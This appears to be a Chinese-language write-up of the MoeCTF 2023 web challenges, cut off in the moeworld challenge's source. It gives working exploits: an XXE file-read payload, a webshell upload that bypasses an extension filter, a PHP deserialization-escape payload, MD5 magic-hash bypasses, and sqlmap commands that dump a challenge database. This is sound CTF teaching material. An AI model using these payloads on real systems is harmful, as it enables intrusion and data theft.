window.onload=function(){ /*页面加载完成之后生成博客目录*/ BlogDirectory.createBlogDirectory("cnblogs_post_body","h2","h3",20); }

MoeCTF 2023(西电CTF新生赛)WP

🏅个人排名

🚩签到

hello CTFer

1、题目描述:

[非西电] 同学注意:

欢迎你来到MoeCTF 2023,祝你玩的开心!

请收下我们送给你的第一份礼物:

https://cyberchef.org/#recipe=From_Base64('A-Za-z0-9%2B/%3D',true,false)&input=Ylc5bFkzUm1lMWRsTVdOdmJUTmZkREJmYlRCbFkzUm1Yekp2TWpNaElTRjk

2、解题:

点击给出链接,复制输入的base64解码两次即可:

MoeCTF签到

💻WEB

一、http

 1、题目描述:

CHALLENGE: http
DESCRIPTION: 听说这个http里还有个什么东西叫饼干,也不知道是不是吃的

2、解题方法:

连接靶机打开,如下图:

分析一下,需要进行五步走,都是简单的命令。使用插件HackBar(或者抓包)来完成五个任务。如下:

 

二、Web入门指北

1、附件信息:

666c61673d6257396c5933526d6533637a62454e7662575666564739666257396c513152475831637959
6c396a61474673624756755a3055684958303d

2、解题方法:

Hex解码得到

flag=bW9lY3Rme3czbENvbWVfVG9fbW9lQ1RGX1cyYl9jaGFsbGVuZ0UhIX0=

base64解码

moectf{w3lCome_To_moeCTF_W2b_challengE!!}

三、彼岸的flag

1、题目信息:

CHALLENGE: 彼岸的flag
DESCRIPTION: 我们在某个平行宇宙中得到了一段moectf群的聊天记录,粗心的出题人在这个聊天平台不小心泄露了自己的flag

2、解题方法:

进入网址,寻找聊天记录,找到这个撤回的消息,控制台打开此处<span>标签发现flag。

四、cookie

1、题目信息:

CHALLENGE: cookie
DESCRIPTION: **本题无需扫描器/爆破**
hint: readme只是一个样例,不是拿来复制的

2、解题方法:

附件信息:

本题考察cookie知识,需要传递一个JSON数组即上图形式。连接靶机使用BurpSuite内置浏览器进行抓包。先POST方法向/register传递注册信息。信息随便写。

右侧发现状态OK,继续向/login发送信息登录,发现成功,得出来一串编码进行解码发现最后是使用者(user)权限。

{"username": "kk", "password": "123456", "role": "user"}

登录后GET方法获取flag,发现不对。。。说明我们权限不够需要换成管理员权限。我们尝试使用admin权限试一下。

权限换成admin后重新抓包发包。

把重新抓到的token改为我们修改权限后加密后的编码进行发包。向login发送。

发现管理员权限登录成功,然后我们尝试获取flag

成功拿到flag。整体步骤是先注册,然后修改登录权限重新发包以管理员身份登录,最后取flag。

五、gas!gas!gas!

1、题目信息:

CHALLENGE: gas!gas!gas!
DESCRIPTION: Klutton这个假期信心满满地准备把驾照拿下,于是他仔细地学习了好多漂移视频,还准备了这么一个赛博赛车场;诶,不对,开车好像不是用键盘开的?

2、解题方法:

连接靶机,是一个手动飙车系统,需要坚持下来五轮。。。。这种又是看手速,还是了解原理直接脚本吧!!

exp:

import requests
from time import sleep
import bs4

url = "这里写网址"

session = requests.session()


def req(driver, steering_control, throttle):
    data = {
        "driver": driver,  # 选手
        "steering_control": steering_control,  # 方向
        "throttle": throttle  # 油门
    }
    resp = session.post(url, data=data)
    return resp.text


def tq(text):
    bs4_text = bs4.BeautifulSoup(text, "html.parser").find("h3").text
    print(bs4_text)
    return bs4_text


def pd(text):
    if "失误" in text:
        return False, False
    if "向右" in text:
        steering_control = -1
    elif "直行" in text:
        steering_control = 0
    elif "向左" in text:
        steering_control = 1
    if "太小" in text:
        throttle = 0
    elif "保持" in text:
        throttle = 1
    elif "太大" in text:
        throttle = 2
    return steering_control, throttle


def main():
    steering_control = 1
    throttle = -1
    count = 0
    for i in range(7):
        count+=1
        text = req(666666, steering_control, throttle)
        if "完美" in text:
            print(text)
            return 0
        a, b = pd(tq(text))
        if a is False:
            return 0
        # print(a,b)
        steering_control, throttle = a, b
        print(count)
    session.close()


if __name__ == '__main__':
    main()

六、moe图床1

1、题目信息:

CHALLENGE: moe图床
DESCRIPTION: 我们准备了一个moe图床用于上传一些图片

2、解题方法:

连接靶机,查看源代码发现只能允许上传png图片。

传一个一句话png木马进行抓包,直接修改文件名为1.php是不行的,题目检索的是png后缀,需要进行绕过,在后面加上.php后缀就可以正常以php代码执行了。

得到目录后蚁剑连接,根目录下找flag文件夹。

 

moectf{hmmm_improper_filter_a9KYMQoZFFDC8znIExy-7bdpffSbIh_z}

七、了解你的座驾

1、题目信息:

CHALLENGE: 了解你的座驾
DESCRIPTION: 为了极致地漂移,我们准备了一个网站用于查找你喜欢的车车;听说flag也放在里面了,不过不在网站目录放在根目录应该没问题的吧。。。

2、解题方法:

抓包发现是xxe漏洞,

构造payload

<?xml version="1.0" encoding="utf-8"?><!DOCTYPE xxe [<!ELEMENT name ANY ><!ENTITY xxe SYSTEM "file:///flag" >]><xml><name>&xxe;</name></xml>

使用插件HackBar对payload进行URL加密后POST上传。

moectf{Which_one_You've_Chosen?Elf1qJjKTe9zlQPs5wqJDAe2udYg_P0b}

八、大海捞针

1、题目信息:

CHALLENGE: 大海捞针
DESCRIPTION: 该死,之前的平行宇宙由于flag的泄露被一股神秘力量抹去,我们脱离了与那个宇宙的连接了!不过不用担心,看起来出题人傻乎乎的是具有泄露flag的概率的,我们只需要连接多个平行宇宙...(难道flag在多元宇宙里是全局变量吗)

tips:仅有这道题要用到扫描器,请不要将爆破速度调整过快,flag是一定能找到的
环境:
http://101.42.178.83:7771/

2、解题方法:

抓包发现需要对1-1000的id进行爆破。根据题目提示也是可以知道的。使用Burp进行爆破。

发送Intruder

进入Intruder页面先设置positions。注:需要在GET后面传一个id,点击右边Add按钮对需要爆破的值添加$符号进行引用。如下图:

进入payloads界面,选择爆破方式为数字爆破,从1-1000,step设置为1。

设置完成后回到positions界面,点击右上角start attack进行爆破即可。

按长度排序找最特殊的一个21235,查看信息就可以发现flag或者搜索框里搜索moectf

九、meo图床2

1、题目信息:

CHALLENGE: meo图床
DESCRIPTION: 我们准备了一个meo(?)图床用于上传一些图片

2、解题方法:

查看源码

我们上传一个png图片进行抓包

访问得到的路径

这里发现是一个文件读取漏洞,我们访问../../../../flag

访问新的地址Fl3g_n0t_Here_dont_peek!!!!!.php得源码

 <?php

highlight_file(__FILE__);

if (isset($_GET['param1']) && isset($_GET['param2'])) {
    $param1 = $_GET['param1'];
    $param2 = $_GET['param2'];

    if ($param1 !== $param2) {
        
        $md5Param1 = md5($param1);
        $md5Param2 = md5($param2);

        if ($md5Param1 == $md5Param2) {
            echo "O.O!! " . getenv("FLAG");
        } else {
            echo "O.o??";
        }
    } else {
        echo "o.O?";
    }
} else {
    echo "O.o?";
}

?> O.o?

分析发现需要GET上传两个值,而且它们两个值不相等但MD5相等。弱比较类型

可以使用带0e开头的数字穿进行传递参数,因为php会将0e开头的数字转化为0,故此时md5值相等,而两个变量值不相等;

例如:

s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469

0e开头的数字 ,第二个开头是0e的数是第一串数MD5加密的结果,然后PHP会把他们识别为相等的数即0

使用HackBar进行传值。

得到flag

moectf{oops_file_get_contents_controllable_DsU-bbQNh8oRKFx6BeVqkzu-hYlta_lQ}

十、夺命十三枪

1、题目信息:

CHALLENGE: 夺命十三枪
DESCRIPTION: 夺命十三枪!然后是啥来着?

2、解题方法:

<?php
highlight_file(__FILE__);

require_once('Hanxin.exe.php');

$Chant = isset($_GET['chant']) ? $_GET['chant'] : '夺命十三枪';

$new_visitor = new Omg_It_Is_So_Cool_Bring_Me_My_Flag($Chant);

$before = serialize($new_visitor);
$after = Deadly_Thirteen_Spears::Make_a_Move($before);
echo 'Your Movements: ' . $after . '<br>';

try{
    echo unserialize($after);
}catch (Exception $e) {
    echo "Even Caused A Glitch...";
}
?>

很明显是反序列化类型题目,而且代码还给出Hanxin.exe.php地址

<?php

if (basename($_SERVER['SCRIPT_FILENAME']) === basename(__FILE__)) {
    highlight_file(__FILE__);
}

class Deadly_Thirteen_Spears{
    private static $Top_Secret_Long_Spear_Techniques_Manual = array(
        "di_yi_qiang" => "Lovesickness",
        "di_er_qiang" => "Heartbreak",
        "di_san_qiang" => "Blind_Dragon",
        "di_si_qiang" => "Romantic_charm",
        "di_wu_qiang" => "Peerless",
        "di_liu_qiang" => "White_Dragon",
        "di_qi_qiang" => "Penetrating_Gaze",
        "di_ba_qiang" => "Kunpeng",
        "di_jiu_qiang" => "Night_Parade_of_a_Hundred_Ghosts",
        "di_shi_qiang" => "Overlord",
        "di_shi_yi_qiang" => "Letting_Go",
        "di_shi_er_qiang" => "Decisive_Victory",
        "di_shi_san_qiang" => "Unrepentant_Lethality"
    );

    public static function Make_a_Move($move){
        foreach(self::$Top_Secret_Long_Spear_Techniques_Manual as $index => $movement){
            $move = str_replace($index, $movement, $move);
        }
        return $move;
    }
}

class Omg_It_Is_So_Cool_Bring_Me_My_Flag{

    public $Chant = '';
    public $Spear_Owner = 'Nobody';

    function __construct($chant){
        $this->Chant = $chant;
        $this->Spear_Owner = 'Nobody';
    }

    function __toString(){
        if($this->Spear_Owner !== 'MaoLei'){
            return 'Far away from COOL...';
        }
        else{
            return "Omg You're So COOOOOL!!! " . getenv('FLAG');
        }
    }
}

?>

分析函数Make_a_Move()我们可以看到:

$move = str_replace($index, $movement, $move);

本代码存在反序列化字符串的逃逸,使不可控的后缀变为可控,这样一来可以在夺命十三枪后面把内容修改为";s:11:"Spear_Owner";s:6:"MaoLei";},该字符串长度为35,根据代码可以知道"di_qi_qiang" => "Penetrating_Gaze",刚好是从11->16,每次转换可以逃逸5个字符串,只需要重复7次"di_qi_qiang"即可完成逃逸。

根据此规律可以得到最后的payload为

chant=di_qi_qiangdi_qi_qiangdi_qi_qiangdi_qi_qiangdi_qi_qiangdi_qi_qiangdi_qi_qiang";s:11:"Spear_Owner";s:6:"MaoLei";}

十一、signin

1、题目信息:

CHALLENGE: signin
DESCRIPTION: 真的是signin(
**本题无需扫描器/爆破**

2、解题方法:

题目代码:

查看代码
 from secrets import users, salt
import hashlib
import base64
import json
import http.server

with open("flag.txt","r") as f:
    FLAG = f.read().strip()

def gethash(*items):
    c = 0
    for item in items:
        if item is None:
            continue
        c ^= int.from_bytes(hashlib.md5(f"{salt}[{item}]{salt}".encode()).digest(), "big") # it looks so complex! but is it safe enough?
    return hex(c)[2:]

assert "admin" in users
assert users["admin"] == "admin"

hashed_users = dict((k,gethash(k,v)) for k,v in users.items())

eval(int.to_bytes(0x636d616f686e69656e61697563206e6965756e63696165756e6320696175636e206975616e6363616361766573206164^8651845801355794822748761274382990563137388564728777614331389574821794036657729487047095090696384065814967726980153,160,"big",signed=True).decode().translate({ord(c):None for c in "\x00"})) # what is it?
    
def decrypt(data:str):
        for x in range(5):
            data = base64.b64encode(data).decode() # ummm...? It looks like it's just base64 encoding it 5 times? truely?
        return data

__page__ = base64.b64encode("PCFET0NUWVBFIGh0bWw+CjxodG1sPgo8aGVhZD4KICAgIDx0aXRsZT5zaWduaW48L3RpdGxlPgogICAgPHNjcmlwdD4KICAgICAgICBbXVsoIVtdK1tdKVshK1tdKyEhW10rISFbXV0rKFtdK3t9KVsrISFbXV0rKCEhW10rW10pWyshIVtdXSsoISFbXStbXSlbK1tdXV1bKFtdK3t9KVshK1tdKyEhW10rISFbXSshIVtdKyEhW11dKyhbXSt7fSlbKyEhW11dKyhbXVtbXV0rW10pWyshIVtdXSsoIVtdK1tdKVshK1tdKyEhW10rISFbXV0rKCEhW10rW10pWytbXV0rKCEhW10rW10pWyshIVtdXSsoW11bW11dK1tdKVsrW11dKyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdXSsoISFbXStbXSlbK1tdXSsoW10re30pWyshIVtdXSsoISFbXStbXSlbKyEhW11dXSgoK3t9K1tdKVsrISFbXV0rKCEhW10rW10pWytbXV0rKFtdK3t9KVsrISFbXV0rKFtdK3t9KVshK1tdKyEhW11dKyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW10rISFbXV0rW11bKCFbXStbXSlbIStbXSshIVtdKyEhW11dKyhbXSt7fSlbKyEhW11dKyghIVtdK1tdKVsrISFbXV0rKCEhW10rW10pWytbXV1dWyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdXSsoW10re30pWyshIVtdXSsoW11bW11dK1tdKVsrISFbXV0rKCFbXStbXSlbIStbXSshIVtdKyEhW11dKyghIVtdK1tdKVsrW11dKyghIVtdK1tdKVsrISFbXV0rKFtdW1tdXStbXSlbK1tdXSsoW10re30pWyErW10rISFbXSshIVtdKyEhW10rISFbXV0rKCEhW10rW10pWytbXV0rKFtdK3t9KVsrISFbXV0rKCEhW10rW10pWyshIVtdXV0oKCEhW10rW10pWyshIVtdXSsoW11bW11dK1tdKVshK1tdKyEhW10rISFbXV0rKCEhW10rW10pWytbXV0rKFtdW1tdXStbXSlbK1tdXSsoISFbXStbXSlbKyEhW11dKyhbXVtbXV0rW10pWyshIVtdXSsoW10re30pWyErW10rISFbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW11dKyhbXVtbXV0rW10pWytbXV0rKFtdW1tdXStbXSlbKyEhW11dKyhbXVtbXV0rW10pWyErW10rISFbXSshIVtdXSsoIVtdK1tdKVshK1tdKyEhW10rISFbXV0rKFtdK3t9KVshK1tdKyEhW10rISFbXSshIVtdKyEhW11dKygre30rW10pWyshIVtdXSsoW10rW11bKCFbXStbXSlbIStbXSshIVtdKyEhW11dKyhbXSt7fSlbKyEhW11dKyghIVtdK1tdKVsrISFbXV0rKCEhW10rW10pWytbXV1dWyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdXSsoW10re30pWyshIVtdXSsoW11bW11dK1tdKVsrISFbXV0rKCFbXStbXSlbIStbXSshIVtdKyEhW11dKyghIVtdK1tdKVsrW11dKyghIVtdK1tdKVsrISFbXV0rKFtdW1tdXStbXSlbK1tdXSsoW10re30pWyErW10rISFbXSshIVtdKyEhW10rISFbXV0rKCEhW10rW10pWytbXV0rKFtdK3t9KVsrISFbXV0rKCEhW10rW10pWyshIVtdXV0oKCEhW10rW10pWyshIVtdXSsoW11bW11dK1tdKVshK1tdKyEhW10rISFbXV0rKCEhW10rW10pWytbXV0rKFtdW1tdXStbXSlbK1tdXSsoISFbXStbXSlbKyEhW11dKyhbXVtbXV0rW10pWyshIVtdXSsoW10re30pWyErW10rISFbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW11dKyghW10rW10pWyErW10rISFbXV0rKFtdK3t9KVsrISFbXV0rKFtdK3t9KVshK1tdKyEhW10rISFbXSshIVtdKyEhW11dKygre30rW10pWyshIVtdXSsoISFbXStbXSlbK1tdXSsoW11bW11dK1tdKVshK1tdKyEhW10rISFbXSshIVtdKyEhW11dKyhbXSt7fSlbKyEhW11dKyhbXVtbXV0rW10pWyshIVtdXSkoIStbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW10pKVshK1tdKyEhW10rISFbXV0rKFtdW1tdXStbXSlbIStbXSshIVtdKyEhW11dKSghK1tdKyEhW10rISFbXSshIVtdKShbXVsoIVtdK1tdKVshK1tdKyEhW10rISFbXV0rKFtdK3t9KVsrISFbXV0rKCEhW10rW10pWyshIVtdXSsoISFbXStbXSlbK1tdXV1bKFtdK3t9KVshK1tdKyEhW10rISFbXSshIVtdKyEhW11dKyhbXSt7fSlbKyEhW11dKyhbXVtbXV0rW10pWyshIVtdXSsoIVtdK1tdKVshK1tdKyEhW10rISFbXV0rKCEhW10rW10pWytbXV0rKCEhW10rW10pWyshIVtdXSsoW11bW11dK1tdKVsrW11dKyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdXSsoISFbXStbXSlbK1tdXSsoW10re30pWyshIVtdXSsoISFbXStbXSlbKyEhW11dXSgoISFbXStbXSlbKyEhW11dKyhbXVtbXV0rW10pWyErW10rISFbXSshIVtdXSsoISFbXStbXSlbK1tdXSsoW11bW11dK1tdKVsrW11dKyghIVtdK1tdKVsrISFbXV0rKFtdW1tdXStbXSlbKyEhW11dKyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW10rISFbXV0rKFtdW1tdXStbXSlbIStbXSshIVtdKyEhW11dKyghW10rW10pWyErW10rISFbXSshIVtdXSsoW10re30pWyErW10rISFbXSshIVtdKyEhW10rISFbXV0rKCt7fStbXSlbKyEhW11dKyhbXStbXVsoIVtdK1tdKVshK1tdKyEhW10rISFbXV0rKFtdK3t9KVsrISFbXV0rKCEhW10rW10pWyshIVtdXSsoISFbXStbXSlbK1tdXV1bKFtdK3t9KVshK1tdKyEhW10rISFbXSshIVtdKyEhW11dKyhbXSt7fSlbKyEhW11dKyhbXVtbXV0rW10pWyshIVtdXSsoIVtdK1tdKVshK1tdKyEhW10rISFbXV0rKCEhW10rW10pWytbXV0rKCEhW10rW10pWyshIVtdXSsoW11bW11dK1tdKVsrW11dKyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdXSsoISFbXStbXSlbK1tdXSsoW10re30pWyshIVtdXSsoISFbXStbXSlbKyEhW11dXSgoISFbXStbXSlbKyEhW11dKyhbXVtbXV0rW10pWyErW10rISFbXSshIVtdXSsoISFbXStbXSlbK1tdXSsoW11bW11dK1tdKVsrW11dKyghIVtdK1tdKVsrISFbXV0rKFtdW1tdXStbXSlbKyEhW11dKyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW10rISFbXV0rKCFbXStbXSlbIStbXSshIVtdXSsoW10re30pWyshIVtdXSsoW10re30pWyErW10rISFbXSshIVtdKyEhW10rISFbXV0rKCt7fStbXSlbKyEhW11dKyghIVtdK1tdKVsrW11dKyhbXVtbXV0rW10pWyErW10rISFbXSshIVtdKyEhW10rISFbXV0rKFtdK3t9KVsrISFbXV0rKFtdW1tdXStbXSlbKyEhW11dKSghK1tdKyEhW10rISFbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW10rISFbXSkpWyErW10rISFbXSshIVtdXSsoW11bW11dK1tdKVshK1tdKyEhW10rISFbXV0pKCErW10rISFbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW10pKChbXSt7fSlbK1tdXSlbK1tdXSsoIStbXSshIVtdKyEhW10rW10pKyhbXVtbXV0rW10pWyErW10rISFbXV0pKyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW10rISFbXV0rKFtdK3t9KVshK1tdKyEhW11dKyghIVtdK1tdKVsrW11dKyhbXSt7fSlbKyEhW11dKygre30rW10pWyshIVtdXSkoIStbXSshIVtdKyEhW10rISFbXSkKICAgICAgICB2YXIgXzB4ZGI1ND1bJ3N0cmluZ2lmeScsJ2xvZycsJ3Bhc3N3b3JkJywnL2xvZ2luJywnUE9TVCcsJ2dldEVsZW1lbnRCeUlkJywndGhlbiddO3ZhciBfMHg0ZTVhPWZ1bmN0aW9uKF8weGRiNTRmYSxfMHg0ZTVhOTQpe18weGRiNTRmYT1fMHhkYjU0ZmEtMHgwO3ZhciBfMHg0ZDhhNDQ9XzB4ZGI1NFtfMHhkYjU0ZmFdO3JldHVybiBfMHg0ZDhhNDQ7fTt3aW5kb3dbJ2FwaV9iYXNlJ109Jyc7ZnVuY3Rpb24gbG9naW4oKXtjb25zb2xlW18weDRlNWEoJzB4MScpXSgnbG9naW4nKTt2YXIgXzB4NWYyYmViPWRvY3VtZW50W18weDRlNWEoJzB4NScpXSgndXNlcm5hbWUnKVsndmFsdWUnXTt2YXIgXzB4NGZkMjI2PWRvY3VtZW50W18weDRlNWEoJzB4NScpXShfMHg0ZTVhKCcweDInKSlbJ3ZhbHVlJ107dmFyIF8weDFjNjFkOT1KU09OW18weDRlNWEoJzB4MCcpXSh7J3VzZXJuYW1lJzpfMHg1ZjJiZWIsJ3Bhc3N3b3JkJzpfMHg0ZmQyMjZ9KTt2YXIgXzB4MTBiOThlPXsncGFyYW1zJzphdG9iKGF0b2IoYXRvYihhdG9iKGF0b2IoXzB4MWM2MWQ5KSkpKSl9O2ZldGNoKHdpbmRvd1snYXBpX2Jhc2UnXStfMHg0ZTVhKCcweDMnKSx7J21ldGhvZCc6XzB4NGU1YSgnMHg0JyksJ2JvZHknOkpTT05bXzB4NGU1YSgnMHgwJyldKF8weDEwYjk4ZSl9KVtfMHg0ZTVhKCcweDYnKV0oZnVuY3Rpb24oXzB4Mjk5ZDRkKXtjb25zb2xlW18weDRlNWEoJzB4MScpXShfMHgyOTlkNGQpO30pO30KICAgIDwvc2NyaXB0Pgo8L2hlYWQ+Cjxib2R5PgogICAgPGgxPmV6U2lnbmluPC9oMT4KICAgIDxwPlNpZ24gaW4gdG8geW91ciBhY2NvdW50PC9wPgogICAgPHA+ZGVmYXVsdCB1c2VybmFtZSBhbmQgcGFzc3dvcmQgaXMgYWRtaW4gYWRtaW48L3A+CiAgICA8cD5Hb29kIEx1Y2shPC9wPgoKICAgIDxwPgogICAgICAgIHVzZXJuYW1lIDxpbnB1dCBpZD0idXNlcm5hbWUiPgogICAgPC9wPgogICAgPHA+CiAgICAgICAgcGFzc3dvcmQgPGlucHV0IGlkPSJwYXNzd29yZCIgdHlwZT0icGFzc3dvcmQiPgogICAgPC9wPgogICAgPGJ1dHRvbiBpZCA9ICJsb2dpbiI+CiAgICAgICAgTG9naW4KICAgIDwvYnV0dG9uPgo8L2JvZHk+CjxzY3JpcHQ+CiAgICBjb25zb2xlLmxvZygiaGVsbG8/IikKICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJsb2dpbiIpLmFkZEV2ZW50TGlzdGVuZXIoImNsaWNrIiwgbG9naW4pOwo8L3NjcmlwdD4KPC9odG1sPg==")
        
class MyHandler(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        try:
            if self.path == "/":
                self.send_response(200)
                self.end_headers()
                self.wfile.write(__page__)
            else:
                self.send_response(404)
                self.end_headers()
                self.wfile.write(b"404 Not Found")
        except Exception as e:
            print(e)
            self.send_response(500)
            self.end_headers()
            self.wfile.write(b"500 Internal Server Error")

    def do_POST(self):
        try:
            if self.path == "/login":
                body = self.rfile.read(int(self.headers.get("Content-Length")))
                payload = json.loads(body)
                params = json.loads(decrypt(payload["params"]))
                print(params)
                if params.get("username") == "admin":
                    self.send_response(403)
                    self.end_headers()
                    self.wfile.write(b"YOU CANNOT LOGIN AS ADMIN!")
                    print("admin")
                    return
                if params.get("username") == params.get("password"):
                    self.send_response(403)
                    self.end_headers()
                    self.wfile.write(b"YOU CANNOT LOGIN WITH SAME USERNAME AND PASSWORD!")
                    print("same")
                    return
                hashed = gethash(params.get("username"),params.get("password"))
                for k,v in hashed_users.items():
                    if hashed == v:
                        data = {
                            "user":k,
                            "hash":hashed,
                            "flag": FLAG if k == "admin" else "flag{YOU_HAVE_TO_LOGIN_IN_AS_ADMIN_TO_GET_THE_FLAG}"
                        }
                        self.send_response(200)
                        self.end_headers()
                        self.wfile.write(json.dumps(data).encode())
                        print("success")
                        return
                self.send_response(403)
                self.end_headers()
                self.wfile.write(b"Invalid username or password")
            else:
                self.send_response(404)
                self.end_headers()
                self.wfile.write(b"404 Not Found")
        except Exception as e:
            print(e)
            self.send_response(500)
            self.end_headers()
            self.wfile.write(b"500 Internal Server Error")

if __name__ == "__main__":
    server = http.server.HTTPServer(("", 9999), MyHandler)
    server.serve_forever()

进行抓包可以得到

{"params":"VjJ4b2MxTXdNVmhVV0d4WFltMTRjRmxzVm1GTlJtUnpWR3R3VDJFeWVIZFZNV2hQVTIxS2NsTnRPVnBsYXpWUVZGUktTbVZzVG5Sa1JYQm9ZbFJzZDFVeFl6QmtNVUpTVUZRd1BRPT0="}

base64解码五次可以得到username和password,我们需要上传这两个数据,分析源码发现用户名和密码要一样,但是类型不同。相当于是php里的弱类型比较。eval()语句将base64.b64encode覆写为base64.b64decode,因此我们需要把用户名和密码赋值后加密五次再进行发包。

那么我们进行赋值加密,一个赋值为字符串一个为数字即可。。。

把加密内容赋值给params后重新发包即可得到flag。

十二、出去旅游的心海

1、题目信息:

CHALLENGE: 出去旅游的心海
DESCRIPTION: 欢迎来到心海新建的博客!正值假期期间,她抓紧时间出去旅游放松一下,看看她最近都在研究什么?
http://101.42.178.83:7770/

2、解题方法:

进入wordpress页面查看网页源代码可以发现一个php链接

进入链接发现代码

 <?php
/*
Plugin Name: Visitor auto recorder
Description: Automatically record visitor's identification, still in development, do not use in industry environment!
Author: KoKoMi
  Still in development! :)
*/

// 不许偷看!这些代码我还在调试呢!
highlight_file(__FILE__);

// 加载数据库配置,暂时用硬编码绝对路径
require_once('/var/www/html/wordpress/' . 'wp-config.php');

$db_user = DB_USER; // 数据库用户名
$db_password = DB_PASSWORD; // 数据库密码
$db_name = DB_NAME; // 数据库名称
$db_host = DB_HOST; // 数据库主机

// 我记得可以用wp提供的global $wpdb来操作数据库,等旅游回来再研究一下
// 这些是临时的代码

$ip = $_POST['ip'];
$user_agent = $_POST['user_agent'];
$time = stripslashes($_POST['time']);

$mysqli = new mysqli($db_host, $db_user, $db_password, $db_name);

// 检查连接是否成功
if ($mysqli->connect_errno) {
    echo '数据库连接失败: ' . $mysqli->connect_error;
    exit();
}

$query = "INSERT INTO visitor_records (ip, user_agent, time) VALUES ('$ip', '$user_agent', $time)";

// 执行插入
$result = mysqli_query($mysqli, $query);

// 检查插入是否成功
if ($result) {
    echo '数据插入成功';
} else {
    echo '数据插入失败: ' . mysqli_error($mysqli);
}

// 关闭数据库连接
mysqli_close($mysqli);

//gpt真好用
数据插入失败: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ')' at line 1

根据末尾提示测试发现time存在报错注入,直接sqlmap一把梭

python3 sqlmap.py  -u "http://101.42.178.83:7770/wordpress/wp-content/plugins/visitor-logging/logger.php"  --data "time=1"  --dbs  --batch
available databases [3]:
[*] information_schema
[*] performance_schema
[*] wordpress
python3 sqlmap.py  -u "http://101.42.178.83:7770/wordpress/wp-content/plugins/visitor-logging/logger.php"  --data "time=1"  -D wordpress --tables --batch
Database: wordpress
[16 tables]
+-----------------------+
| secret_of_kokomi      |
| visitor_records       |
| wp_commentmeta        |
| wp_comments           |
| wp_e_events           |
| wp_links              |
| wp_options            |
| wp_postmeta           |
| wp_posts              |
| wp_snippets           |
| wp_term_relationships |
| wp_term_taxonomy      |
| wp_termmeta           |
| wp_terms              |
| wp_usermeta           |
| wp_users              |
+-----------------------+
python3 sqlmap.py  -u "http://101.42.178.83:7770/wordpress/wp-content/plugins/visitor-logging/logger.php"  --data "time=1"  -D wordpress  -T secret_of_kokomi --columns
Database: wordpress
Table: secret_of_kokomi
[2 columns]
+---------+------+
| Column  | Type |
+---------+------+
| content | text |
| id      | int  |
+---------+------+
python3 sqlmap.py  -u "http://101.42.178.83:7770/wordpress/wp-content/plugins/visitor-logging/logger.php"  --data "time=1"  -D wordpress  -T secret_of_kokomi -C content --dump
Database: wordpress
Table: secret_of_kokomi
[3 entries]
+----------------------------------------------------+
| content                                            |
+----------------------------------------------------+
| moectf{Dig_Thr0ugh_Eve2y_C0de_3nd_Poss1bIlIti3s!!} |
| paimengkanqilaihaohaochi                           |
| woshishuimubushiyu~                                |
+----------------------------------------------------+

十三、moeworld

1、题目提示:

CHALLENGE: moeworld
DESCRIPTION: 你已经学会了1+1=2,接下来尝试真实的渗透吧~
解压密码为“出去旅游的心海”的flag

2、解题方法:

下载附件解压得到

本题你将扮演**红队**的身份,以该外网ip入手,并进行内网渗透,最终获取到完整的flag

题目环境:http://47.115.201.35:8000/

在本次公共环境中渗透测试中,希望你**不要做与获取flag无关的行为,不要删除或篡改flag,不要破坏题目环境,不要泄露题目环境!**

**注册时请不要使用你常用的密码,本环境密码在后台以明文形式存储**

hint.zip 密码请在拿到外网靶机后访问根目录下的**readme**,完成条件后获取

环境出现问题,请第一时间联系出题人**xlccccc**

对题目有疑问,也可随时询问出题人

进入附件链接

一个python搭建的网页这是该网站源码

app.py

查看代码
 from curses import flash
from flask import Flask, request, render_template, redirect, session, url_for, flash
import os
import dataSql
import datetime
from hashlib import md5

app = Flask(__name__)

app.template_folder = os.path.join("static/templates")
app.static_folder = os.path.join("static")

app.secret_key = "This-random-secretKey-you-can't-get" + os.urandom(2).hex()


@app.route('/login', methods=['GET', 'POST'])
def login():
    if 'user' not in session:
        if request.method == 'GET':
            return render_template('login.html')
        username = request.form['user']
        password = request.form['password']
        if dataSql.canLogin(username, password):
            session['user'] = username
            session['power'] = dataSql.getPower(username)
            return redirect('/index')
        else:
            flash("username or password incorrect")
            return redirect('login')
    else:
        return '''<script>alert("You have already logged in.");window.location.href="/index";</script>'''

# change the password


@app.route('/change', methods=['GET', 'POST'])
def foundpwd():
    if request.method == 'GET':
        return render_template('changepwd.html')
    username = request.form['user']
    oldPassword = request.form['oldPassword']
    newPassword = request.form['newPassword']
    a = dataSql.changePassword(username, oldPassword, newPassword)
    if a == True:
        return '''
    change successfully
    <br>
    <a href='login'>login now</a>
    '''
    else:
        flash(a)
        return redirect('change')


# register for enter the message board
@app.route('/register', methods=['GET', 'POST'])
def register():
    if request.method == 'GET':
        return render_template('register.html')
    id = dataSql.usersName()
    username = request.form['user']
    password = request.form['password']
    power = 'guest'
    if dataSql.register(id, username, password, power):
        return '''
    register successfully
    <br>
    <a href='login'>login now</a>
    '''
    else:
        flash('username already exists')
        return redirect('register')


@app.route('/logout', methods=['GET'])
def logout():
    if 'user' in session:
        session.pop('user')
        return redirect('/login')
    else:
        return '''
    you are not logged in
    <br>
    <a href='login'>login now</a>
    '''


@app.route('/', methods=['GET', 'POST'])
@app.route('/index', methods=['GET', 'POST'])
def index():
    if 'user' in session:
        if request.method == 'GET':
            msg = getMsgList()
            if session['power'] == 'guest':
                for i in msg:
                    # remove the message send by other user on private condition
                    if i[3] == "1" and session['user'] != i[0]:
                        msg.remove(i)
            return render_template('index.html', username=session['user'], msg=msg)
        else:
            message = request.form['message']
